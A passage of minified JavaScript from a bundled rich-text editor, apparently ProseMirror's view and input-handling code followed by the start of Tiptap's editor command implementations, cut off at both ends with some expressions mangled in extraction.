f=u.filter(m=>m.nodeName=="BR");if(f.length==2){let[m,g]=f;m.parentNode&&m.parentNode.parentNode==g.parentNode?g.remove():m.remove()}else{let{focusNode:m}=this.currentSelection;for(let g of f){let y=g.parentNode;y&&y.nodeName=="LI"&&(!m||kL(e,m)!=y)&&g.remove()}}}let h=null;i<0&&a&&e.input.lastFocus>Date.now()-200&&Math.max(e.input.lastTouch,e.input.lastClick.time)-1||a)&&(i>-1&&(e.docView.markDirty(i,o),wL(e)),e.input.badSafariComposition&&(e.input.badSafariComposition=!1,SL(e,u)),this.handleDOMChange(i,o,c,u),e.docView&&e.docView.dirty?e.updateState(e.state):this.currentSelection.eq(r)||ka(e),this.currentSelection.set(r))}registerMutation(e,n){if(n.indexOf(e.target)>-1)return null;let r=this.view.docView.nearestDesc(e.target);if(e.type=="attributes"&&(r==this.view.docView||e.attributeName=="contenteditable"||e.attributeName=="style"&&!e.oldValue&&!e.target.getAttribute("style"))||!r||r.ignoreMutation(e))return null;if(e.type=="childList"){for(let f=0;fa;v--){let k=r.childNodes[v-1],C=k.pmViewDesc;if(k.nodeName=="BR"&&!C){i=v;break}if(!C||C.size)break}let m=t.state.doc,g=t.someProp("domParser")||pi.fromSchema(t.state.schema),y=m.resolve(o),N=null,w=g.parse(r,{topNode:y.parent,topMatch:y.parent.contentMatchAt(y.index()),topOpen:!0,from:a,to:i,preserveWhitespace:y.parent.type.whitespace=="pre"?"full":!0,findPositions:h,ruleFromNode:EL,context:y});if(h&&h[0].pos!=null){let v=h[0].pos,k=h[1]&&h[1].pos;k==null&&(k=v),N={anchor:v+o,head:k+o}}return{doc:w,sel:N,from:o,to:c}}function EL(t){let e=t.pmViewDesc;if(e)return e.parseRule();if(t.nodeName=="BR"&&t.parentNode){if(ur&&/^(ul|ol)$/i.test(t.parentNode.nodeName)){let n=document.createElement("div");return n.appendChild(document.createElement("li")),{skip:n}}else if(t.parentNode.lastChild==t||ur&&/^(tr|table)$/i.test(t.parentNode.nodeName))return{ignore:!0}}else if(t.nodeName=="IMG"&&t.getAttribute("mark-placeholder"))return{ignore:!0};return null}const TL=/^(a|abbr|acronym|b|bd[io]|big|br|button|cite|code|data(list)?|del|dfn|em|i|img|ins|kbd|label|map|mark|meter|output|q|ruby|s|samp|small|span|strong|su[bp]|time|u|tt|var)$/i;function ML(t,e,n,r,a){let i=t.input.compositionPendingChanges||(t.composing?t.input.compositionID:0);if(t.input.compositionPendingChanges=0,e<0){let L=t.input.lastSelectionTime>Date.now()-50?t.input.lastSelectionOrigin:null,R=g0(t,L);if(R&&!t.state.selection.eq(R)){if(Xn&&va&&t.input.lastKeyCode===13&&Date.now()-100_(t,to(13,"Enter"))))return;let D=t.state.tr.setSelection(R);L=="pointer"?D.setMeta("pointer",!0):L=="key"&&D.scrollIntoView(),i&&D.setMeta("composition",i),t.dispatch(D)}return}let o=t.state.doc.resolve(e),c=o.sharedDepth(n);e=o.before(c+1),n=t.state.doc.resolve(n).after(c+1);let u=t.state.selection,h=CL(t,e,n),f=t.state.doc,m=f.slice(h.from,h.to),g,y;t.input.lastKeyCode===8&&Date.now()-100Date.now()-225||va)&&a.some(L=>L.nodeType==1&&!TL.test(L.nodeName))&&(!N||N.endA>=N.endB)&&t.someProp("handleKeyDown",L=>L(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(!N)if(r&&u instanceof Ze&&!u.empty&&u.$head.sameParent(u.$anchor)&&!t.composing&&!(h.sel&&h.sel.anchor!=h.sel.head))N={start:u.from,endA:u.to,endB:u.to};else{if(h.sel){let L=sN(t,t.state.doc,h.sel);if(L&&!L.eq(t.state.selection)){let R=t.state.tr.setSelection(L);i&&R.setMeta("composition",i),t.dispatch(R)}}return}t.state.selection.fromt.state.selection.from&&N.start<=t.state.selection.from+2&&t.state.selection.from>=h.from?N.start=t.state.selection.from:N.endA=t.state.selection.to-2&&t.state.selection.to<=h.to&&(N.endB+=t.state.selection.to-N.endA,N.endA=t.state.selection.to)),Ar&&mi<=11&&N.endB==N.start+1&&N.endA==N.start&&N.start>h.from&&h.doc.textBetween(N.start-h.from-1,N.start-h.from+1)=="  "&&(N.start--,N.endA--,N.endB--);let w=h.doc.resolveNoCache(N.start-h.from),v=h.doc.resolveNoCache(N.endB-h.from),k=f.resolve(N.start),C=w.sameParent(v)&&w.parent.inlineContent&&k.end()>=N.endA;if((El&&t.input.lastIOSEnter>Date.now()-225&&(!C||a.some(L=>L.nodeName=="DIV"||L.nodeName=="P"))||!C&&w.posL(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(t.state.selection.anchor>N.start&&IL(f,N.start,N.endA,w,v)&&t.someProp("handleKeyDown",L=>L(t,to(8,"Backspace")))){va&&Xn&&t.domObserver.suppressSelectionUpdates();return}Xn&&N.endB==N.start&&(t.input.lastChromeDelete=Date.now()),va&&!C&&w.start()!=v.start()&&v.parentOffset==0&&w.depth==v.depth&&h.sel&&h.sel.anchor==h.sel.head&&h.sel.head==N.endA&&(N.endB-=2,v=h.doc.resolveNoCache(N.endB-h.from),setTimeout(()=>{t.someProp("handleKeyDown",function(L){return L(t,to(13,"Enter"))})},20));let E=N.start,T=N.endA,I=L=>{let R=L||t.state.tr.replace(E,T,h.doc.slice(N.start-h.from,N.endB-h.from));if(h.sel){let D=sN(t,R.doc,h.sel);D&&!(Xn&&t.composing&&D.empty&&(N.start!=N.endB||t.input.lastChromeDeleteka(t),20));let L=I(t.state.tr.delete(E,T)),R=f.resolve(N.start).marksAcross(f.resolve(N.endA));R&&L.ensureMarks(R),t.dispatch(L)}else if(N.endA==N.endB&&(O=AL(w.parent.content.cut(w.parentOffset,v.parentOffset),k.parent.content.cut(k.parentOffset,N.endA-k.start())))){let L=I(t.state.tr);O.type=="add"?L.addMark(E,T,O.mark):L.removeMark(E,T,O.mark),t.dispatch(L)}else if(w.parent.child(w.index()).isText&&w.index()==v.index()-(v.textOffset?0:1)){let L=w.parent.textBetween(w.parentOffset,v.parentOffset),R=()=>I(t.state.tr.insertText(L,E,T));t.someProp("handleTextInput",D=>D(t,E,T,L,R))||t.dispatch(R())}else t.dispatch(I());else t.dispatch(I())}function sN(t,e,n){return Math.max(n.anchor,n.head)>e.content.size?null:x0(t,e.resolve(n.anchor),e.resolve(n.head))}function AL(t,e){let n=t.firstChild.marks,r=e.firstChild.marks,a=n,i=r,o,c,u;for(let f=0;ff.mark(c.addToSet(f.marks));else if(a.length==0&&i.length==1)c=i[0],o="remove",u=f=>f.mark(c.removeFromSet(f.marks));else return null;let h=[];for(let f=0;fn||tg(o,!0,!1)0&&(e||t.indexAfter(r)==t.node(r).childCount);)r--,a++,e=!1;if(n){let i=t.node(r).maybeChild(t.indexAfter(r));for(;i&&!i.isLeaf;)i=i.firstChild,a++}return a}function RL(t,e,n,r,a){let i=t.findDiffStart(e,n);if(i==null)return null;let{a:o,b:c}=t.findDiffEnd(e,n+t.size,n+e.size);if(a=="end"){let u=Math.max(0,i-Math.min(o,c));r-=o+u-i}if(o=o?i-r:0;i-=u,i&&i=c?i-r:0;i-=u,i&&i=56320&&e<=57343&&n>=55296&&n<=56319}class f2{constructor(e,n){this._root=null,this.focused=!1,this.trackWrites=null,this.mounted=!1,this.markCursor=null,this.cursorWrapper=null,this.lastSelectedViewDesc=void 0,this.input=new GD,this.prevDirectPlugins=[],this.pluginViews=[],this.requiresGeckoHackNode=!1,this.dragging=null,this._props=n,this.state=n.state,this.directPlugins=n.plugins||[],this.directPlugins.forEach(dN),this.dispatch=this.dispatch.bind(this),this.dom=e&&e.mount||document.createElement("div"),e&&(e.appendChild?e.appendChild(this.dom):typeof e=="function"?e(this.dom):e.mount&&(this.mounted=!0)),this.editable=lN(this),oN(this),this.nodeViews=cN(this),this.docView=F1(this.state.doc,iN(this),eg(this),this.dom,this),this.domObserver=new NL(this,(r,a,i,o)=>ML(this,r,a,i,o)),this.domObserver.start(),JD(this),this.updatePluginViews()}get composing(){return this.input.composing}get props(){if(this._props.state!=this.state){let e=this._props;this._props={};for(let n in e)this._props[n]=e[n];this._props.state=this.state}return this._props}update(e){e.handleDOMEvents!=this._props.handleDOMEvents&&ax(this);let n=this._props;this._props=e,e.plugins&&(e.plugins.forEach(dN),this.directPlugins=e.plugins),this.updateStateInner(e.state,n)}setProps(e){let n={};for(let r in this._props)n[r]=this._props[r];n.state=this.state;for(let r in e)n[r]=e[r];this.update(n)}updateState(e){this.updateStateInner(e,this._props)}updateStateInner(e,n){var r;let a=this.state,i=!1,o=!1;e.storedMarks&&this.composing&&(i2(this),o=!0),this.state=e;let c=a.plugins!=e.plugins||this._props.plugins!=n.plugins;if(c||this._props.plugins!=n.plugins||this._props.nodeViews!=n.nodeViews){let y=cN(this);OL(y,this.nodeViews)&&(this.nodeViews=y,i=!0)}(c||n.handleDOMEvents!=this._props.handleDOMEvents)&&ax(this),this.editable=lN(this),oN(this);let u=eg(this),h=iN(this),f=a.plugins!=e.plugins&&!a.doc.eq(e.doc)?"reset":e.scrollToSelection>a.scrollToSelection?"to selection":"preserve",m=i||!this.docView.matchesNode(e.doc,h,u);(m||!e.selection.eq(a.selection))&&(o=!0);let g=f=="preserve"&&o&&this.dom.style.overflowAnchor==null&&cD(this);if(o){this.domObserver.stop();let y=m&&(Ar||Xn)&&!this.composing&&!a.selection.empty&&!e.selection.empty&&PL(a.selection,e.selection);if(m){let N=Xn?this.trackWrites=this.domSelectionRange().focusNode:null;this.composing&&(this.input.compositionNode=cL(this)),(i||!this.docView.update(e.doc,h,u,this))&&(this.docView.updateOuterDeco(h),this.docView.destroy(),this.docView=F1(e.doc,h,u,this.dom,this)),N&&(!this.trackWrites||!this.dom.contains(this.trackWrites))&&(y=!0)}y||!(this.input.mouseDown&&this.domObserver.currentSelection.eq(this.domSelectionRange())&&PD(this))?ka(this,y):(GS(this,e.selection),this.domObserver.setCurSelection()),this.domObserver.start()}this.updatePluginViews(a),!((r=this.dragging)===null||r===void 0)&&r.node&&!a.doc.eq(e.doc)&&this.updateDraggedNode(this.dragging,a),f=="reset"?this.dom.scrollTop=0:f=="to selection"?this.scrollToSelection():g&&dD(g)}scrollToSelection(){let e=this.domSelectionRange().focusNode;if(!(!e||!this.dom.contains(e.nodeType==1?e:e.parentNode))){if(!this.someProp("handleScrollToSelection",n=>n(this)))if(this.state.selection instanceof Xe){let n=this.docView.domAfterPos(this.state.selection.from);n.nodeType==1&&O1(this,n.getBoundingClientRect(),e)}else O1(this,this.coordsAtPos(this.state.selection.head,1),e)}}destroyPluginViews(){let e;for(;e=this.pluginViews.pop();)e.destroy&&e.destroy()}updatePluginViews(e){if(!e||e.plugins!=this.state.plugins||this.directPlugins!=this.prevDirectPlugins){this.prevDirectPlugins=this.directPlugins,this.destroyPluginViews();for(let n=0;n0&&this.state.doc.nodeAt(i))==r.node&&(a=i)}this.dragging=new l2(e.slice,e.move,a<0?void 0:Xe.create(this.state.doc,a))}someProp(e,n){let r=this._props&&this._props[e],a;if(r!=null&&(a=n?n(r):r))return a;for(let o=0;on.ownerDocument.getSelection()),this._root=n}return e||document}updateRoot(){this._root=null}posAtCoords(e){return gD(this,e)}coordsAtPos(e,n=1){return FS(this,e,n)}domAtPos(e,n=0){return this.docView.domFromPos(e,n)}nodeDOM(e){let n=this.docView.descAt(e);return n?n.nodeDOM:null}posAtDOM(e,n,r=-1){let a=this.docView.posFromDOM(e,n,r);if(a==null)throw new RangeError("DOM position not inside the editor");return a}endOfTextblock(e,n){return ND(this,n||this.state,e)}pasteHTML(e,n){return id(this,"",e,!1,n||new ClipboardEvent("paste"))}pasteText(e,n){return id(this,e,null,!0,n||new ClipboardEvent("paste"))}serializeForClipboard(e){return y0(this,e)}destroy(){this.docView&&(YD(this),this.destroyPluginViews(),this.mounted?(this.docView.update(this.state.doc,[],eg(this),this),this.dom.textContent=""):this.dom.parentNode&&this.dom.parentNode.removeChild(this.dom),this.docView.destroy(),this.docView=null,ZO())}get isDestroyed(){return this.docView==null}dispatchEvent(e){return XD(this,e)}domSelectionRange(){let e=this.domSelection();return e?ur&&this.root.nodeType===11&&sD(this.dom.ownerDocument)==this.dom&&jL(this,e)||e:{focusNode:null,focusOffset:0,anchorNode:null,anchorOffset:0}}domSelection(){return this.root.getSelection()}}f2.prototype.dispatch=function(t){let e=this._props.dispatchTransaction;e?e.call(this,t):this.updateState(this.state.apply(t))};function iN(t){let e=Object.create(null);return e.class="ProseMirror",e.contenteditable=String(t.editable),t.someProp("attributes",n=>{if(typeof n=="function"&&(n=n(t.state)),n)for(let r in n)r=="class"?e.class+=" "+n[r]:r=="style"?e.style=(e.style?e.style+";":"")+n[r]:!e[r]&&r!="contenteditable"&&r!="nodeName"&&(e[r]=String(n[r]))}),e.translate||(e.translate="no"),[An.node(0,t.state.doc.content.size,e)]}function oN(t){if(t.markCursor){let e=document.createElement("img");e.className="ProseMirror-separator",e.setAttribute("mark-placeholder","true"),e.setAttribute("alt",""),t.cursorWrapper={dom:e,deco:An.widget(t.state.selection.from,e,{raw:!0,marks:t.markCursor})}}else t.cursorWrapper=null}function lN(t){return!t.someProp("editable",e=>e(t.state)===!1)}function PL(t,e){let n=Math.min(t.$anchor.sharedDepth(t.head),e.$anchor.sharedDepth(e.head));return t.$anchor.start(n)!=e.$anchor.start(n)}function cN(t){let e=Object.create(null);function n(r){for(let a in r)Object.prototype.hasOwnProperty.call(e,a)||(e[a]=r[a])}return t.someProp("nodeViews",n),t.someProp("markViews",n),e}function OL(t,e){let n=0,r=0;for(let a in t){if(t[a]!=e[a])return!0;n++}for(let a in e)r++;return n!=r}function dN(t){if(t.spec.state||t.spec.filterTransaction||t.spec.appendTransaction)throw new RangeError("Plugins passed directly to the view must not have a state component")}var vi={8:"Backspace",9:"Tab",10:"Enter",12:"NumLock",13:"Enter",16:"Shift",17:"Control",18:"Alt",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",44:"PrintScreen",45:"Insert",46:"Delete",59:";",61:"=",91:"Meta",92:"Meta",106:"*",107:"+",108:",",109:"-",110:".",111:"/",144:"NumLock",145:"ScrollLock",160:"Shift",161:"Shift",162:"Control",163:"Control",164:"Alt",165:"Alt",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'"},Ch={48:")",49:"!",50:"@",51:"#",52:"$",53:"%",54:"^",55:"&",56:"*",57:"(",59:":",61:"+",173:"_",186:":",187:"+",188:"<",189:"_",190:">",191:"?",192:"~",219:"{",220:"|",221:"}",222:'"'},DL=typeof navigator<"u"&&/Mac/.test(navigator.platform),LL=typeof navigator<"u"&&/MSIE \d|Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);for(var Qn=0;Qn<10;Qn++)vi[48+Qn]=vi[96+Qn]=String(Qn);for(var Qn=1;Qn<=24;Qn++)vi[Qn+111]="F"+Qn;for(var Qn=65;Qn<=90;Qn++)vi[Qn]=String.fromCharCode(Qn+32),Ch[Qn]=String.fromCharCode(Qn);for(var ng in vi)Ch.hasOwnProperty(ng)||(Ch[ng]=vi[ng]);function _L(t){var e=DL&&t.metaKey&&t.shiftKey&&!t.ctrlKey&&!t.altKey||LL&&t.shiftKey&&t.key&&t.key.length==1||t.key=="Unidentified",n=!e&&t.key||(t.shiftKey?Ch:vi)[t.keyCode]||t.key||"Unidentified";return n=="Esc"&&(n="Escape"),n=="Del"&&(n="Delete"),n=="Left"&&(n="ArrowLeft"),n=="Up"&&(n="ArrowUp"),n=="Right"&&(n="ArrowRight"),n=="Down"&&(n="ArrowDown"),n}const zL=typeof navigator<"u"&&/Mac|iP(hone|[oa]d)/.test(navigator.platform),$L=typeof navigator<"u"&&/Win/.test(navigator.platform);function FL(t){let e=t.split(/-(?!$)/),n=e[e.length-1];n=="Space"&&(n=" ");let r,a,i,o;for(let c=0;c{for(var n in e)HL(t,n,{get:e[n],enumerable:!0})};function Af(t){const{state:e,transaction:n}=t;let{selection:r}=n,{doc:a}=n,{storedMarks:i}=n;return{...e,apply:e.apply.bind(e),applyTransaction:e.applyTransaction.bind(e),plugins:e.plugins,schema:e.schema,reconfigure:e.reconfigure.bind(e),toJSON:e.toJSON.bind(e),get storedMarks(){return i},get selection(){return r},get doc(){return a},get tr(){return r=n.selection,a=n.doc,i=n.storedMarks,n}}}var If=class{constructor(t){this.editor=t.editor,this.rawCommands=this.editor.extensionManager.commands,this.customState=t.state}get hasCustomState(){return!!this.customState}get state(){return this.customState||this.editor.state}get commands(){const{rawCommands:t,editor:e,state:n}=this,{view:r}=e,{tr:a}=n,i=this.buildProps(a);return Object.fromEntries(Object.entries(t).map(([o,c])=>[o,(...h)=>{const f=c(...h)(i);return!a.getMeta("preventDispatch")&&!this.hasCustomState&&r.dispatch(a),f}]))}get chain(){return()=>this.createChain()}get can(){return()=>this.createCan()}createChain(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o=[],c=!!t,u=t||a.tr,h=()=>(!c&&e&&!u.getMeta("preventDispatch")&&!this.hasCustomState&&i.dispatch(u),o.every(m=>m===!0)),f={...Object.fromEntries(Object.entries(n).map(([m,g])=>[m,(...N)=>{const w=this.buildProps(u,e),v=g(...N)(w);return o.push(v),f}])),run:h};return f}createCan(t){const{rawCommands:e,state:n}=this,r=!1,a=t||n.tr,i=this.buildProps(a,r);return{...Object.fromEntries(Object.entries(e).map(([c,u])=>[c,(...h)=>u(...h)({...i,dispatch:void 0})])),chain:()=>this.createChain(a,r)}}buildProps(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o={tr:t,editor:r,view:i,state:Af({state:a,transaction:t}),dispatch:e?()=>{}:void 0,chain:()=>this.createChain(t,e),can:()=>this.createCan(t),get commands(){return Object.fromEntries(Object.entries(n).map(([c,u])=>[c,(...h)=>u(...h)(o)]))}};return o}},p2={};S0(p2,{blur:()=>WL,clearContent:()=>UL,clearNodes:()=>KL,command:()=>qL,createParagraphNear:()=>GL,cut:()=>JL,deleteCurrentNode:()=>YL,deleteNode:()=>QL,deleteRange:()=>XL,deleteSelection:()=>ZL,enter:()=>e8,exitCode:()=>t8,extendMarkRange:()=>n8,first:()=>r8,focus:()=>a8,forEach:()=>i8,insertContent:()=>o8,insertContentAt:()=>d8,joinBackward:()=>f8,joinDown:()=>h8,joinForward:()=>p8,joinItemBackward:()=>m8,joinItemForward:()=>g8,joinTextblockBackward:()=>x8,joinTextblockForward:()=>y8,joinUp:()=>u8,keyboardShortcut:()=>v8,lift:()=>N8,liftEmptyBlock:()=>w8,liftListItem:()=>j8,newlineInCode:()=>k8,resetAttributes:()=>S8,scrollIntoView:()=>C8,selectAll:()=>E8,selectNodeBackward:()=>T8,selectNodeForward:()=>M8,selectParentNode:()=>A8,selectTextblockEnd:()=>I8,selectTextblockStart:()=>R8,setContent:()=>P8,setMark:()=>Z8,setMeta:()=>e6,setNode:()=>t6,setNodeSelection:()=>n6,setTextDirection:()=>r6,setTextSelection:()=>s6,sinkListItem:()=>a6,splitBlock:()=>i6,splitListItem:()=>o6,toggleList:()=>l6,toggleMark:()=>c6,toggleNode:()=>d6,toggleWrap:()=>u6,undoInputRule:()=>h6,unsetAllMarks:()=>f6,unsetMark:()=>p6,unsetTextDirection:()=>m6,updateAttributes:()=>g6,wrapIn:()=>x6,wrapInList:()=>y6});var WL=()=>({editor:t,view:e})=>(requestAnimationFrame(()=>{var n;t.isDestroyed||(e.dom.blur(),(n=window==null?void 0:window.getSelection())==null||n.removeAllRanges())}),!0),UL=(t=!0)=>({commands:e})=>e.setContent("",{emitUpdate:t}),KL=()=>({state:t,tr:e,dispatch:n})=>{const{selection:r}=e,{ranges:a}=r;return n&&a.forEach(({$from:i,$to:o})=>{t.doc.nodesBetween(i.pos,o.pos,(c,u)=>{if(c.type.isText)return;const{doc:h,mapping:f}=e,m=h.resolve(f.map(u)),g=h.resolve(f.map(u+c.nodeSize)),y=m.blockRange(g);if(!y)return;const N=$l(y);if(c.type.isTextblock){const{defaultType:w}=m.parent.contentMatchAt(m.index());e.setNodeMarkup(y.start,w)}(N||N===0)&&e.lift(y,N)})}),!0},qL=t=>e=>t(e),GL=()=>({state:t,dispatch:e})=>MS(t,e),JL=(t,e)=>({editor:n,tr:r})=>{const{state:a}=n,i=a.doc.slice(t.from,t.to);r.deleteRange(t.from,t.to);const o=r.mapping.map(e);return r.insert(o,i.content),r.setSelection(new Ze(r.doc.resolve(Math.max(o-1,0)))),!0},YL=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,r=n.$anchor.node();if(r.content.size>0)return!1;const a=t.selection.$anchor;for(let i=a.depth;i>0;i-=1)if(a.node(i).type===r.type){if(e){const c=a.before(i),u=a.after(i);t.delete(c,u).scrollIntoView()}return!0}return!1};function Sn(t,e){if(typeof t=="string"){if(!e.nodes[t])throw Error(`There is no node type named '${t}'. Maybe you forgot to add the extension?`);return e.nodes[t]}return t}var QL=t=>({tr:e,state:n,dispatch:r})=>{const a=Sn(t,n.schema),i=e.selection.$anchor;for(let o=i.depth;o>0;o-=1)if(i.node(o).type===a){if(r){const u=i.before(o),h=i.after(o);e.delete(u,h).scrollIntoView()}return!0}return!1},XL=t=>({tr:e,dispatch:n})=>{const{from:r,to:a}=t;return n&&e.delete(r,a),!0},ZL=()=>({state:t,dispatch:e})=>d0(t,e),e8=()=>({commands:t})=>t.keyboardShortcut("Enter"),t8=()=>({state:t,dispatch:e})=>zO(t,e);function C0(t){return Object.prototype.toString.call(t)==="[object RegExp]"}function Eh(t,e,n={strict:!0}){const r=Object.keys(e);return r.length?r.every(a=>n.strict?e[a]===t[a]:C0(e[a])?e[a].test(t[a]):e[a]===t[a]):!0}function m2(t,e,n={}){return t.find(r=>r.type===e&&Eh(Object.fromEntries(Object.keys(n).map(a=>[a,r.attrs[a]])),n))}function uN(t,e,n={}){return!!m2(t,e,n)}function E0(t,e,n){var r;if(!t||!e)return;let a=t.parent.childAfter(t.parentOffset);if((!a.node||!a.node.marks.some(f=>f.type===e))&&(a=t.parent.childBefore(t.parentOffset)),!a.node||!a.node.marks.some(f=>f.type===e)||(n=n||((r=a.node.marks[0])==null?void 0:r.attrs),!m2([...a.node.marks],e,n)))return;let o=a.index,c=t.start()+a.offset,u=o+1,h=c+a.node.nodeSize;for(;o>0&&uN([...t.parent.child(o-1).marks],e,n);)o-=1,c-=t.parent.child(o).nodeSize;for(;u({tr:n,state:r,dispatch:a})=>{const i=Ta(t,r.schema),{doc:o,selection:c}=n,{$from:u,from:h,to:f}=c;if(a){const m=E0(u,i,e);if(m&&m.from<=h&&m.to>=f){const g=Ze.create(o,m.from,m.to);n.setSelection(g)}}return!0},r8=t=>e=>{const n=typeof t=="function"?t(e):t;for(let r=0;r({editor:n,view:r,tr:a,dispatch:i})=>{e={scrollIntoView:!0,...e};const o=()=>{(Th()||hN())&&r.dom.focus(),s8()&&!Th()&&!hN()&&r.dom.focus({preventScroll:!0}),requestAnimationFrame(()=>{n.isDestroyed||(r.focus(),e!=null&&e.scrollIntoView&&n.commands.scrollIntoView())})};try{if(r.hasFocus()&&t===null||t===!1)return!0}catch{return!1}if(i&&t===null&&!g2(n.state.selection))return o(),!0;const c=x2(a.doc,t)||n.state.selection,u=n.state.selection.eq(c);return i&&(u||a.setSelection(c),u&&a.storedMarks&&a.setStoredMarks(a.storedMarks),o()),!0},i8=(t,e)=>n=>t.every((r,a)=>e(r,{...n,index:a})),o8=(t,e)=>({tr:n,commands:r})=>r.insertContentAt({from:n.selection.from,to:n.selection.to},t,e),y2=t=>{const e=t.childNodes;for(let n=e.length-1;n>=0;n-=1){const r=e[n];r.nodeType===3&&r.nodeValue&&/^(\n\s\s|\n)$/.test(r.nodeValue)?t.removeChild(r):r.nodeType===1&&y2(r)}return t};function zu(t){if(typeof window>"u")throw new Error("[tiptap error]: there is no window object available, so this function cannot be used");const e=`${t}`,n=new window.DOMParser().parseFromString(e,"text/html").body;return y2(n)}function ld(t,e,n){if(t instanceof wa||t instanceof be)return t;n={slice:!0,parseOptions:{},...n};const r=typeof t=="object"&&t!==null,a=typeof t=="string";if(r)try{if(Array.isArray(t)&&t.length>0)return be.fromArray(t.map(c=>e.nodeFromJSON(c)));const o=e.nodeFromJSON(t);return n.errorOnInvalidContent&&o.check(),o}catch(i){if(n.errorOnInvalidContent)throw new Error("[tiptap error]: Invalid JSON content",{cause:i});return console.warn("[tiptap warn]: Invalid content.","Passed value:",t,"Error:",i),ld("",e,n)}if(a){if(n.errorOnInvalidContent){let o=!1,c="";const u=new nS({topNode:e.spec.topNode,marks:e.spec.marks,nodes:e.spec.nodes.append({__tiptap__private__unknown__catch__all__node:{content:"inline*",group:"block",parseDOM:[{tag:"*",getAttrs:h=>(o=!0,c=typeof h=="string"?h:h.outerHTML,null)}]}})});if(n.slice?pi.fromSchema(u).parseSlice(zu(t),n.parseOptions):pi.fromSchema(u).parse(zu(t),n.parseOptions),n.errorOnInvalidContent&&o)throw new Error("[tiptap error]: Invalid HTML content",{cause:new Error(`Invalid element found: ${c}`)})}const i=pi.fromSchema(e);return n.slice?i.parseSlice(zu(t),n.parseOptions).content:i.parse(zu(t),n.parseOptions)}return ld("",e,n)}function l8(t,e,n){const r=t.steps.length-1;if(r{o===0&&(o=f)}),t.setSelection(rt.near(t.doc.resolve(o),n))}var c8=t=>!("type"in t),d8=(t,e,n)=>({tr:r,dispatch:a,editor:i})=>{var o;if(a){n={parseOptions:i.options.parseOptions,updateSelection:!0,applyInputRules:!1,applyPasteRules:!1,...n};let c;const u=v=>{i.emit("contentError",{editor:i,error:v,disableCollaboration:()=>{"collaboration"in i.storage&&typeof i.storage.collaboration=="object"&&i.storage.collaboration&&(i.storage.collaboration.isDisabled=!0)}})},h={preserveWhitespace:"full",...n.parseOptions};if(!n.errorOnInvalidContent&&!i.options.enableContentCheck&&i.options.emitContentError)try{ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:!0})}catch(v){u(v)}try{c=ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:(o=n.errorOnInvalidContent)!=null?o:i.options.enableContentCheck})}catch(v){return u(v),!1}let{from:f,to:m}=typeof t=="number"?{from:t,to:t}:{from:t.from,to:t.to},g=!0,y=!0;if((c8(c)?c:[c]).forEach(v=>{v.check(),g=g?v.isText&&v.marks.length===0:!1,y=y?v.isBlock:!1}),f===m&&y){const{parent:v}=r.doc.resolve(f);v.isTextblock&&!v.type.spec.code&&!v.childCount&&(f-=1,m+=1)}let w;if(g){if(Array.isArray(e))w=e.map(v=>v.text||"").join("");else if(e instanceof be){let v="";e.forEach(k=>{k.text&&(v+=k.text)}),w=v}else typeof e=="object"&&e&&e.text?w=e.text:w=e;r.insertText(w,f,m)}else{w=c;const v=r.doc.resolve(f),k=v.node(),C=v.parentOffset===0,E=k.isText||k.isTextblock,T=k.content.size>0;C&&E&&T&&(f=Math.max(0,f-1)),r.replaceWith(f,m,w)}n.updateSelection&&l8(r,r.steps.length-1,-1),n.applyInputRules&&r.setMeta("applyInputRules",{from:f,text:w}),n.applyPasteRules&&r.setMeta("applyPasteRules",{from:f,text:w})}return!0},u8=()=>({state:t,dispatch:e})=>DO(t,e),h8=()=>({state:t,dispatch:e})=>LO(t,e),f8=()=>({state:t,dispatch:e})=>wS(t,e),p8=()=>({state:t,dispatch:e})=>CS(t,e),m8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,-1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},g8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},x8=()=>({state:t,dispatch:e})=>PO(t,e),y8=()=>({state:t,dispatch:e})=>OO(t,e);function b2(){return typeof navigator<"u"?/Mac/.test(navigator.platform):!1}function b8(t){const e=t.split(/-(?!$)/);let n=e[e.length-1];n==="Space"&&(n=" ");let r,a,i,o;for(let c=0;c({editor:e,view:n,tr:r,dispatch:a})=>{const i=b8(t).split(/-(?!$)/),o=i.find(h=>!["Alt","Ctrl","Meta","Shift"].includes(h)),c=new KeyboardEvent("keydown",{key:o==="Space"?" ":o,altKey:i.includes("Alt"),ctrlKey:i.includes("Ctrl"),metaKey:i.includes("Meta"),shiftKey:i.includes("Shift"),bubbles:!0,cancelable:!0}),u=e.captureTransaction(()=>{n.someProp("handleKeyDown",h=>h(n,c))});return u==null||u.steps.forEach(h=>{const f=h.map(r.mapping);f&&a&&r.maybeStep(f)}),!0};function Ni(t,e,n={}){const{from:r,to:a,empty:i}=t.selection,o=e?Sn(e,t.schema):null,c=[];t.doc.nodesBetween(r,a,(m,g)=>{if(m.isText)return;const y=Math.max(r,g),N=Math.min(a,g+m.nodeSize);c.push({node:m,from:y,to:N})});const u=a-r,h=c.filter(m=>o?o.name===m.node.type.name:!0).filter(m=>Eh(m.node.attrs,n,{strict:!1}));return i?!!h.length:h.reduce((m,g)=>m+g.to-g.from,0)>=u}var N8=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?_O(n,r):!1},w8=()=>({state:t,dispatch:e})=>AS(t,e),j8=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return JO(r)(e,n)},k8=()=>({state:t,dispatch:e})=>TS(t,e);function Rf(t,e){return e.nodes[t]?"node":e.marks[t]?"mark":null}function fN(t,e){const n=typeof e=="string"?[e]:e;return Object.keys(t).reduce((r,a)=>(n.includes(a)||(r[a]=t[a]),r),{})}var S8=(t,e)=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const 